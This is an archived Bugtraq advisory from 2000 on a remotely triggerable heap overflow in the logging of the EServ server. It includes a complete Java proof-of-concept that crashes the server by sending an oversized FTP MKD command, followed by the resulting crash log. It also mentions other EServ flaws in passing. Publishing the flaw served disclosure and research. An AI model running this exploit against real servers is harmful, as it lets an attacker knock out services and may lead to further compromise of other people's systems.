Bugtraq mailing list archives
MDMA Advisory #6: EServ Logging Heap Overflow Vulnerability
From: wizdumb () LEET ORG (Drew)
Date: Tue, 6 Jun 2000 23:43:12 +0200
MDMA Advisory #6 by Andrew Lewis aka. Wizdumb EServ Logging Heap Overflow Vulnerability EServ has problems handling long strings in its logging, which leads it to have a remotely exploitable heap overflow. The following code, written in Java coz it's my language of choice, demonstrates the vulnerability... -------------------------------------------------------- /* Proof of concept code for the heap overflow in EServ <= 2.9.2 * Written 10/05/2000 by Andrew Lewis aka. Wizdumb [MDMA] */ import java.io.*; import java.net.*; class eservheap { public static void main(String[] args) throws IOException { if (args.length < 1) { System.out.println("Syntax: java eservheap [host] <user> <pass>"); System.exit(1); } Socket soq = null; PrintWriter white = null; BufferedReader weed = null; try { soq = new Socket(args[0], 21); white = new PrintWriter(soq.getOutputStream(), true); weed = new BufferedReader(new InputStreamReader(soq.getInputStream())); } catch (Exception e) { System.out.println("Problems connecting :-/"); System.exit(1); } weed.readLine(); String juzer = (args.length == 3) ? ("USER " + args[1]) : "USER anonymous"; String pasz = (args.length == 3) ? ("PASS " + args[2]) : "PASS mdma"; white.println(juzer + "\n" + pasz); weed.readLine(); weed.readLine(); white.print("MKD "); for (int i = 0; i < 10000; i++) white.print("A"); white.println(); // uNf! Who yoh daddy, bitch? weed.readLine(); white.println("QUIT"); } } -------------------------------------------------------- And no, you don't need write access to the directory for that to work -- like I said, The heap overflow occurs in the logging. :) The following extract from e.log show the effect of this code... ---------------------------------------- 27.05.2000 17:02:19 Eserv/2.92 2986 1 EXCEPTION! CODE:C0000005 ADDRESS:49247E WORD:C! REGISTERS: 1C5EC6C 50 62 34 00 36 5D 4E 00 FF 5F 34 00 0C 27 00 00 Pb4.6]N.Ñ_4..'.. 1C5EC7C E8 FD 00 00 41 00 00 00 48 FF C5 01 7E 24 49 00 ÉÜ..A...HÑå.~$I. 1C5EC8C 1B 00 00 00 46 02 01 00 9C EE C5 01 23 00 00 00 .....F..._Ïå.#... /* Ie. Thread crashes on MKD, but has no effect on other threads */ USER DATA: 346250 HANDLER: 1C5EED0 RETURN STACK: 1C5EE9C: 498BB9 C! 1C5EEA0: 4C2AF0 HOLD 1C5EEA4: 4CAC34 HOLDS /* these HOLDS are buggy - no length checking */ 1C5EEA8: 7FFFE6FC <not in the image> 1C5EEAC: 7FFFD8F4 <not in the image> 1C5EEB0: 4CAC49 HOLDS 1C5EEB4: 4E5E12 MKD 1C5EEB8: 49B279 |DROP 1C5EEBC: 2 <not found> 1C5EEC0: 339DE8 <not found> 1C5EEC4: 270C <not found> 1C5EEC8: 4C42C1 INTERPRET 1C5EECC: 4C303F NEW_CATCH 1C5EED0: 1C5EF14 <not in the image> ---------------------------------------- The vendor has been contacted some time ago, and despite recently having disappeared, will probably have a fix for the problem out in the near future. Hi's to Andrey Cherezov (the talented EServ author), everyone in MDMA, b0f, Vortexia, b0g, and everyone who knows me. Cheers, Andrew Lewis aka. Wizdumb PS. It may also be worth noting that EServ has the /con/con vulnerability and that older versions shipped with a vulnerable version of Ultimate Bulletin Board (See SerG's post in February). wizdumb () leet org www.mdma.za.net/fk
Current thread:
- FW-1 IP Fragmentation Vulnerability Lance Spitzner (Jun 05)
- Re: FW-1 IP Fragmentation Vulnerability Chris Brenton (Jun 06)
- Re: FW-1 IP Fragmentation Vulnerability Thomas Willert (Jun 29)
- Re: FW-1 IP Fragmentation Vulnerability Darren Reed (Jun 06)
- Caldera Security Advisory CSSA-2000-015: suid root KDE applications Caldera Systems Security (Jun 06)
- Shiva Access Manager 5.0.0 Plaintext LDAP root password. Blaise St. Laurent (Jun 06)
- MDMA Advisory #6: EServ Logging Heap Overflow Vulnerability Drew (Jun 06)
- Re: FW-1 IP Fragmentation Vulnerability Chris Brenton (Jun 06)